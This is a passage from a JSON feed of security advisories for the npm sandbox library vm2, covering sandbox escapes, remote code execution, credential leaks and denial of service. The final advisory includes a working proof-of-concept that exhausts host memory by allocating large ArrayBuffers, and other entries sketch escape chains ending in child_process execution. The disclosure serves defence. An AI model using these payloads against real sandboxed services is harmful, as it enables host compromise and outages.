B5NY","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02M20yLXFxY2gtanh2Ms4AB5NY","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.11.0, \u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02M20yLXFxY2gtanh2Ms4AB5NY/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12amN2LTlqMzMtd2o2Ms4AB5NE","url":"https://github.com/advisories/GHSA-vjcv-9j33-wj62","title":"Duplicate Advisory: vm2: timeout Option Bypass via FinalizationRegistry Cleanup Callback (Unbounded Host Event-Loop Block)","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-r4fx-v8hh-22mv. This link is maintained to preserve external references.\n\n## Original Description\nvm2 before 3.11.7 (affected versions \u003c= 3.11.6) does not enforce the VM({ timeout }) option on code executed outside the synchronous VM#run() call. The timeout only wraps the single call to _runScript() via doWithTimeout() in lib/vm.js, and FinalizationRegistry and WeakRef are exposed to sandboxed code unmodified (they are not among the hardened globals in lib/setup-sandbox.js). Sandboxed code can register a FinalizationRegistry cleanup callback against an object and then drop the only strong reference to it; vm.run() returns within the configured timeout, but when the V8 garbage collector later reclaims the object it invokes the sandboxed cleanup callback outside any vm2 timeout accounting. A busy loop in that callback blocks the host event loop for an unbounded period, resulting in denial of service. The time of invocation depends on the garbage collector (e.g. under memory pressure or with --expose-gc).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-17T15:32:14.000Z","withdrawn_at":"2026-10-05T22:34:58.000Z","classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-r4fx-v8hh-22mv","https://nvd.nist.gov/vuln/detail/CVE-2026-92942","https://www.vulncheck.com/advisories/vm2-before-3.11.7-timeout-bypass-via-finalizationregistry","https://github.com/advisories/GHSA-vjcv-9j33-wj62"],"source_kind":"github","identifiers":["GHSA-vjcv-9j33-wj62"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.778Z","updated_at":"2026-10-12T08:00:38.748Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12amN2LTlqMzMtd2o2Ms4AB5NE","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12amN2LTlqMzMtd2o2Ms4AB5NE","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12amN2LTlqMzMtd2o2Ms4AB5NE/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02amdtLTR3NDUtdmg4as4AB5Ng","url":"https://github.com/advisories/GHSA-6jgm-4w45-vh8j","title":"Duplicate Advisory: vm2 crypto builtin loads attacker native code through setEngine","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-46pr-c5wc-xffx. This link is maintained to preserve external references.\n\n## Original Description\nvm2 3.11.3 through 3.11.6 exposes the host Node.js crypto module to a NodeVM sandbox when the crypto builtin is allowed. The module is presented via a recursive read-only proxy, but its callable exports still execute with host-process authority. Sandboxed JavaScript can therefore call crypto.setEngine() with a filesystem path to an attacker-supplied native library (for example, one bundled in an untrusted plugin package already written to disk); OpenSSL asks the operating-system dynamic loader to load the file, and the library's constructor executes native code in the host process before engine-symbol validation rejects it. Exploitation requires only the crypto builtin and does not require fs, process, module, child_process, worker_threads, vm, or inspector access, resulting in a sandbox escape and arbitrary native code execution. Fixed in 3.11.7.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-17T15:32:14.000Z","withdrawn_at":"2026-10-01T15:28:21.000Z","classification":"GENERAL","cvss_score":9.4,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-46pr-c5wc-xffx","https://nvd.nist.gov/vuln/detail/CVE-2026-92939","https://www.vulncheck.com/advisories/vm2-3.11.3-through-3.11.6-native-code-execution-via-crypto-setengine","https://github.com/advisories/GHSA-6jgm-4w45-vh8j"],"source_kind":"github","identifiers":["GHSA-6jgm-4w45-vh8j"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.493Z","updated_at":"2026-10-12T08:00:42.520Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02amdtLTR3NDUtdmg4as4AB5Ng","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02amdtLTR3NDUtdmg4as4AB5Ng","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.11.3, \u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02amdtLTR3NDUtdmg4as4AB5Ng/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tN2NxLTdmMnEtZjlmaM4AB5Nf","url":"https://github.com/advisories/GHSA-m7cq-7f2q-f9fh","title":"Duplicate Advisory: vm2 3.11.6 allows a sandboxed plugin to execute native code through `node:sqlite`","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-6w8r-xxw2-g3hx. This link is maintained to preserve external references.\n\n## Original Description\nvm2 versions 3.11.3 through 3.11.6 expose Node.js's host node:sqlite module to code running in NodeVM when that builtin is permitted, either explicitly or through builtin: ['*']. The module is wrapped with vm.readonly(), which prevents property assignment but leaves host-authority callables reachable; in addition, the resolver treats any request starting with 'node:' as a core-module request and the runtime strips only one 'node:' prefix, so a sandbox request for 'node:node:sqlite' resolves to the configured node:sqlite entry. Sandboxed code can therefore create an in-memory DatabaseSync with extension loading enabled and call DatabaseSync.loadExtension() on a native library bundled in the untrusted plugin package (path derived from __dirname). SQLite loads the library into the Node.js host process and invokes its native entry point, giving the sandboxed plugin arbitrary native code execution outside the sandbox with the host process's privileges. The issue is fixed in vm2 3.11.7.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-17T15:32:14.000Z","withdrawn_at":"2026-10-01T15:28:54.000Z","classification":"GENERAL","cvss_score":9.4,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-6w8r-xxw2-g3hx","https://nvd.nist.gov/vuln/detail/CVE-2026-92938","https://www.vulncheck.com/advisories/vm2-3.11.3-through-3.11.6-remote-code-execution-via-node-sqlite","https://github.com/advisories/GHSA-m7cq-7f2q-f9fh"],"source_kind":"github","identifiers":["GHSA-m7cq-7f2q-f9fh"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.493Z","updated_at":"2026-10-12T08:00:42.518Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tN2NxLTdmMnEtZjlmaM4AB5Nf","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tN2NxLTdmMnEtZjlmaM4AB5Nf","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.11.3, \u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tN2NxLTdmMnEtZjlmaM4AB5Nf/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05Znh4LW12NmMtajV4cM4AB5NT","url":"https://github.com/advisories/GHSA-9fxx-mv6c-j5xp","title":"Duplicate Advisory: NodeVM nesting guard accepts array-shaped require and permits host RCE","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-8hr7-r645-pc6w. This link is maintained to preserve external references.\n\n## Original Description\nvm2 is a sandbox for running untrusted Node.js code. In versions \u003e= 3.11.4 and \u003c= 3.11.6, the NodeVM constructor computes `hasRealRequireConfig` with `typeof requireOpts === 'object' \u0026\u0026 requireOpts !== null`, so an array-shaped `require` value (for example `require: []`) satisfies the guard that is meant to reject nesting without an explicit require configuration. `makeResolverFromLegacyOptions()` then destructures the array into undefined option fields and returns a resolver containing only `NESTING_OVERRIDE.vm2`. As a result, an attacker who can supply JavaScript executed by a NodeVM configured with truthy `nesting` and an array-shaped `require` (e.g. `new NodeVM({nesting: true, require: []})`) can require the host `vm2` module, create an inner NodeVM with an attacker-chosen builtin allowlist (such as `child_process`), and execute arbitrary commands with the privileges of the host Node.js process, escaping the sandbox. Outer builtin restrictions do not constrain the attacker-created inner NodeVM. This issue is fixed in vm2 3.11.7.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-17T15:32:14.000Z","withdrawn_at":"2026-10-01T15:32:41.000Z","classification":"GENERAL","cvss_score":9.5,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-8hr7-r645-pc6w","https://nvd.nist.gov/vuln/detail/CVE-2026-92935","https://github.com/patriksimek/vm2/commit/54b54b74a382577f0bcd0538c5bf99acdcd7f53b","https://www.vulncheck.com/advisories/vm2-nodevm-remote-code-execution-via-array-shaped-require","https://github.com/advisories/GHSA-9fxx-mv6c-j5xp"],"source_kind":"github","identifiers":["GHSA-9fxx-mv6c-j5xp"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.493Z","updated_at":"2026-10-12T08:00:42.516Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05Znh4LW12NmMtajV4cM4AB5NT","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05Znh4LW12NmMtajV4cM4AB5NT","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.11.4, \u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05Znh4LW12NmMtajV4cM4AB5NT/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zZjg0LXZ3djUtcjQyZ84AB5NA","url":"https://github.com/advisories/GHSA-3f84-vwv5-r42g","title":"Duplicate Advisory: vm2: GHSA-m283-3h24-438v fix bypass leads to host RCE via call/apply indirection","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-647f-g98j-qq25. This link is maintained to preserve external references.\n\n## Original Description\nvm2 3.11.6 is vulnerable to a sandbox escape leading to remote code execution in the host Node.js process. The fix for GHSA-m283-3h24-438v is incomplete: the bridge gate at lib/bridge.js:1624 identity-checks only the direct call target when deciding whether to rebuild/sanitise a rejected host Promise value. Registering the rejection handler through Function.prototype.call or .apply indirection (e.g., p.then.call(p, undefined, cb)) makes the intercepted target host Function.prototype.call, so the sanitiser never runs and the raw host error reaches sandbox code with its own properties intact. If an embedder exposes a host-realm Promise to the sandbox (an async host function bridged via the sandbox option, or a NodeVM external module's async method) and that Promise rejects with an Error carrying a non-primitive own property referencing a host object (for example err.detail = process), untrusted code in the sandbox obtains a fully functional proxy to that host object and can execute arbitrary commands with the privileges of the host process (e.g., e.detail.mainModule.require('child_process').execSync(...)). The direct p.then(undefined, cb), bind, and Reflect.apply forms are correctly sanitised. Fixed in vm2 3.11.7.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-17T15:32:14.000Z","withdrawn_at":"2026-10-01T15:30:00.000Z","classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-647f-g98j-qq25","https://nvd.nist.gov/vuln/detail/CVE-2026-92937","https://www.vulncheck.com/advisories/vm2-3.11.6-remote-code-execution-via-promise-call-apply","https://github.com/advisories/GHSA-3f84-vwv5-r42g"],"source_kind":"github","identifiers":["GHSA-3f84-vwv5-r42g"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.493Z","updated_at":"2026-10-12T08:00:42.517Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZjg0LXZ3djUtcjQyZ84AB5NA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zZjg0LXZ3djUtcjQyZ84AB5NA","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":null,"vulnerable_version_range":"= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZjg0LXZ3djUtcjQyZ84AB5NA/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01ODQzLTltaDUtaGhnd84AB5Nb","url":"https://github.com/advisories/GHSA-5843-9mh5-hhgw","title":"Duplicate Advisory: vm2 exposes host HTTPS credentials and TLS traffic through globalAgent","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-h85j-hv3c-qfgq. This link is maintained to preserve external references.\n\n## Original Description\nvm2 versions 3.11.3 through 3.11.6 expose the host process's real https.globalAgent to sandboxed code when a NodeVM is explicitly configured to allow require('https'). The builtin loader wraps host modules in a read-only proxy, but method calls such as Agent.prototype.on() are forwarded to the underlying host object, so sandbox code can register a listener for the agent's 'free' event. When an unrelated host HTTPS request releases a pooled connection, the listener receives the live host request options and the host TLSSocket, allowing sandboxed code to read the host's Authorization header and private destination host/port, attach a data listener to the released socket and read subsequent host response bodies in plaintext, and issue attacker-chosen authenticated requests using the stolen credentials. The issue is fixed in 3.11.7.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-17T15:32:14.000Z","withdrawn_at":"2026-10-01T15:38:02.000Z","classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-h85j-hv3c-qfgq","https://nvd.nist.gov/vuln/detail/CVE-2026-92940","https://www.vulncheck.com/advisories/vm2-3.11.3-through-3.11.6-https-credential-exposure-via-globalagent","https://github.com/advisories/GHSA-5843-9mh5-hhgw"],"source_kind":"github","identifiers":["GHSA-5843-9mh5-hhgw"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.493Z","updated_at":"2026-10-12T08:00:42.510Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01ODQzLTltaDUtaGhnd84AB5Nb","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01ODQzLTltaDUtaGhnd84AB5Nb","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.11.3, \u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01ODQzLTltaDUtaGhnd84AB5Nb/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0ydmg5LWN2MjYtcDk3bc4AB5NR","url":"https://github.com/advisories/GHSA-2vh9-cv26-p97m","title":"Duplicate Advisory: vm2: util.getCallSites() bypasses GHSA-v27g host-frame redaction, leaks host call stack","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-r273-hxvj-fxhp. This link is maintained to preserve external references.\n\n## Original Description\nvm2 is a sandbox for running untrusted Node.js code. In versions \u003c= 3.11.7, NodeVM exposes the host `util` module to the sandbox as an unfiltered shallow copy (`Object.assign({}, util)` in `defaultBuiltinLoaderUtil`), and the deprecated `sys` builtin (an alias of host `util`) is exposed through the generic builtin loader. On Node.js \u003e= 22.9 this hands sandboxed code `util.getCallSites()`, a programmatic stack-introspection API that returns the host process's full call stack, including absolute file paths, function names, and line numbers for vm2 bridge internals and the embedding application's entrypoint. This bypasses the host-frame redaction introduced for GHSA-v27g-jcqj-v8rw, which only applies to the `Error.prepareStackTrace` formatting channel. The issue is fixed in vm2 3.11.8.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-17T15:32:14.000Z","withdrawn_at":"2026-10-05T22:37:25.000Z","classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-r273-hxvj-fxhp","https://nvd.nist.gov/vuln/detail/CVE-2026-92933","https://www.vulncheck.com/advisories/vm2-before-3.11.8-information-disclosure-via-util-getcallsites","https://github.com/advisories/GHSA-2vh9-cv26-p97m"],"source_kind":"github","identifiers":["GHSA-2vh9-cv26-p97m"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.778Z","updated_at":"2026-10-12T08:00:38.745Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ydmg5LWN2MjYtcDk3bc4AB5NR","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0ydmg5LWN2MjYtcDk3bc4AB5NR","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.11.7"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ydmg5LWN2MjYtcDk3bc4AB5NR/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00eG13LWhoOXEtNHE3Y84AB5NV","url":"https://github.com/advisories/GHSA-4xmw-hh9q-4q7c","title":"Duplicate Advisory: vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-x965-fc75-jpqh. This link is maintained to preserve external references.\n\n## Original Description\nvm2 before 3.11.8 contains an incomplete fix for Error.cause sanitization that allows sandbox escape when revisited host-wrapped AggregateError objects are caught within a single exception handler traversal. Attackers can exploit cycle detection bypass in handleException to access unsanitized host proxies embedded in the errors array, enabling full remote code execution and process information disclosure from the sandbox.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-17T15:32:14.000Z","withdrawn_at":"2026-10-05T22:37:53.000Z","classification":"GENERAL","cvss_score":9.5,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-x965-fc75-jpqh","https://nvd.nist.gov/vuln/detail/CVE-2026-92934","https://www.vulncheck.com/advisories/vm2-before-3.11.8-sandbox-escape-rce-via-aggregateerror","https://github.com/advisories/GHSA-4xmw-hh9q-4q7c"],"source_kind":"github","identifiers":["GHSA-4xmw-hh9q-4q7c"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.778Z","updated_at":"2026-10-12T08:00:38.744Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00eG13LWhoOXEtNHE3Y84AB5NV","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00eG13LWhoOXEtNHE3Y84AB5NV","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.11.7"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00eG13LWhoOXEtNHE3Y84AB5NV/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1od3I1LWNtOHYtYzc2cc4AB5NP","url":"https://github.com/advisories/GHSA-hwr5-cm8v-c76q","title":"Duplicate Advisory: vm2 sandbox escape on Node.js 26 through a stale PromiseThenLookupChain protector","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-27g9-p43v-cw3v. This link is maintained to preserve external references.\n\n## Original Description\nvm2 versions 3.10.2 through 3.11.6 contain a sandbox escape vulnerability on Node.js 26 where Promise.prototype.finally() bypasses vm2's wrapper protections due to a stale PromiseThenLookupChain protector in V8 14.6. Attackers can exploit this by creating an async function that returns a Promise with an attacker-controlled constructor Symbol.species, allowing them to reach the host Function constructor and process object for arbitrary code execution.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-17T15:32:14.000Z","withdrawn_at":"2026-10-01T15:27:57.000Z","classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-27g9-p43v-cw3v","https://nvd.nist.gov/vuln/detail/CVE-2026-92944","https://github.com/patriksimek/vm2/commit/4635ddd85839461c8ad791990023a477efefe7bd","https://github.com/patriksimek/vm2/commit/7b26e81087ec88c287d9a4812f969d412f32774e","https://www.vulncheck.com/advisories/vm2-3.10.2-through-3.11.6-sandbox-escape-via-promise-protector","https://github.com/advisories/GHSA-hwr5-cm8v-c76q"],"source_kind":"github","identifiers":["GHSA-hwr5-cm8v-c76q"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T16:00:09.496Z","updated_at":"2026-10-12T08:00:42.521Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1od3I1LWNtOHYtYzc2cc4AB5NP","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1od3I1LWNtOHYtYzc2cc4AB5NP","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.10.2, \u003c= 3.11.6"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1od3I1LWNtOHYtYzc2cc4AB5NP/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12ODM2LTZ4dzQtOWN4M84ABkVe","url":"https://github.com/advisories/GHSA-v836-6xw4-9cx3","title":"vm2 has Memory Exhaustion DoS via bufferAllocLimit Bypass","description":"### Summary:\n\nThe `bufferAllocLimit` defense (GHSA-6785-pvv7-mvg7) can be completely bypassed using `ArrayBuffer`, `SharedArrayBuffer`, or any `TypedArray` constructor. These allocate identical host-process RSS through the same V8/libuv C++ allocation path as `Buffer.alloc` but are not subject to the size cap.\n\n### Details:\n\nThe `bufferAllocLimit` option (vm2 v3.11.0+) caps `Buffer.alloc`, `Buffer.allocUnsafe`, `Buffer.allocUnsafeSlow`, and the deprecated `Buffer(N)` / `new Buffer(N)` forms. The cap is enforced in `setup-sandbox.js` via `checkBufferAllocLimit()` (line 353-359).\n\nHowever, `ArrayBuffer`, `SharedArrayBuffer`, `Uint8Array`, `Float64Array`, and all other TypedArray constructors are sandbox-realm V8 intrinsics that allocate host memory through the SAME underlying C++ path (`v8::ArrayBuffer::NewBackingStore` → `ArrayBufferAllocator::Allocate` → `calloc/malloc`). These constructors are NOT intercepted by the `bufferAllocLimit` defense.\n\nA single `new ArrayBuffer(N)` call with a large `N` exhausts host RSS in one synchronous allocation that V8's `timeout` cannot interrupt.\n\n### Environment:\n\n- vm2 version: 3.11.3\n- Node.js: v25.8.1 (affects all Node.js versions)\n- Configuration: Default `new VM()` or any configuration including `bufferAllocLimit`\n\n### POC:\n\n```javascript\nconst { VM } = require('vm2');\n\n// Operator sets bufferAllocLimit thinking they're protected:\nconst vm = new VM({ bufferAllocLimit: 10 * 1024 * 1024 }); // 10MB cap\n\n// Buffer.alloc IS capped (as intended):\ntry { vm.run('Buffer.alloc(20 * 1024 * 1024)'); }\ncatch(e) { console.log('Buffer.alloc blocked:', e.message); }\n// → \"Buffer allocation size 20971520 exceeds bufferAllocLimit 10485760\"\n\n// But these BYPASS the cap entirely:\nvm.run('new ArrayBuffer(1024 * 1024 * 1024)');        // 1GB allocated!\nvm.run('new SharedArrayBuffer(1024 * 1024 * 1024)');  // 1GB allocated!\nvm.run('new Uint8Array(1024 * 1024 * 1024)');         // 1GB allocated!\nvm.run('new Float64Array(128 * 1024 * 1024)');        // 1GB allocated!\n\n// OOM kill in constrained environments (Docker, K8s, Lambda):\nvm.run('var a=[]; for(var i=0;i\u003c100;i++) a.push(new ArrayBuffer(100*1024*1024))');\n// → 10GB allocated → host OOM killed\n```\n\n**Verification:**\n\n```bash\nnode -e '\nconst {VM} = require(\"./lib/main.js\");\nconst vm = new VM({bufferAllocLimit: 10*1024*1024});\ntry { vm.run(\"Buffer.alloc(20*1024*1024)\"); } catch(e) { console.log(\"Buffer BLOCKED\"); }\nconsole.log(\"ArrayBuffer:\", vm.run(\"new ArrayBuffer(100*1024*1024).byteLength\"), \"bytes allocated\");\nconsole.log(\"SharedArrayBuffer:\", vm.run(\"new SharedArrayBuffer(100*1024*1024).byteLength\"), \"bytes allocated\");\n'\n# Output:\n# Buffer BLOCKED\n# ArrayBuffer: 104857600 bytes allocated\n# SharedArrayBuffer: 104857600 bytes allocated\n```\n\n### Impact:\n\n- **Type:** Denial of Service (Host Memory Exhaustion)\n- **Attack Complexity:** Low\n- **Availability Impact:** Complete, host process OOM killed in memory-constrained environments\n- **Affected deployments:** Docker containers, Kubernetes pods, AWS Lambda, any environment with memory limits. Especially dangerous when operators explicitly set `bufferAllocLimit` believing they have DoS protection.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-17T17:32:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-v836-6xw4-9cx3","https://github.com/patriksimek/vm2/releases/tag/3.11.6","https://github.com/advisories/GHSA-v836-6xw4-9cx3"],"source_kind":"github","identifiers":["GHSA-v836-6xw4-9cx3"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-17T19:00:10.270Z","updated_at":"2026-10-12T08:01:47.926Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12ODM2LTZ4dzQtOWN4M84ABkVe","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12ODM2LTZ4dzQtOWN4M84ABkVe","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.6","vulnerable_version_range":"\u003c= 